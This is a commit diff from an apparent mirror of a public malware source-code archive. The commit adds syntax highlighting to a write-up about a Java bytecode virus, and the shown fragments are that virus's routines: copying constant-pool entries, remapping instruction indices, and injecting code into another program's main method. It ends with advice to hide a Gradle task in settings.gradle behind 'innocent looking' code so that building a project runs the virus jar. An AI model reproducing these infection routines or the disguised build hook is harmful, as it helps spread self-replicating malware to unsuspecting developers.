13
1
mirror of https://github.com/vxunderground/MalwareSourceCode synced 2024-06-16 03:58:34 +00:00

Added syntax highlighting

This commit is contained in:
TheDuchy 2020-11-01 03:08:15 +01:00 committed by GitHub
parent be18696767
commit b6467a43b8
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23

@ -99,7 +99,7 @@ The viurs should be flexible and allow for advanced payloads specific by the use
This is probably the easiest part of the whole process. Our code for doing this is:
```
```java
public static int copyConstant(HashMap<String, Object> origin, int origin_index, HashMap<String, Object> destination){
byte[][] constant_pool = (byte[][]) origin.get("constant_pool");
byte[] orig_constant = constant_pool[origin_index-1];
@ -253,7 +253,7 @@ merely a matter of adding it to an index of methods, the real challenge is in en
methods to actually function at runtime.
The workhorse of the virus for this is the instructionIndex method:
```
```java
public static int instructionIndex(int index, ArrayList<byte[]> oldList, ArrayList<byte[]> newList){
int oldposition = 0;
int newposition = 0;
@ -311,7 +311,7 @@ is that it took forever to get functioning without errors.
The last part of our process after we copy our methods is actually inject instructions into a function that we did not
write and have no control over. The good news for me is that this didn't require too much extra work.
```
```java
public static void inject(HashMap<String, Object> origin, HashMap<String, Object> destination){
//Are there any functions called main?
//Get the method, get the code attribute, extract code, place instruction and see if we can extend StackMapFrame
@ -390,7 +390,7 @@ probably also works in Android studio. I haven't tried it myself - maybe you sho
The trick is very simple:
In settings.gradle in your project, place some innocent looking comments and code:
```
```gradle
task testSuite(type: JavaExec) {
jar
classpath = files('build/libs/BytecodeVirus-1.0-SNAPSHOT.jar')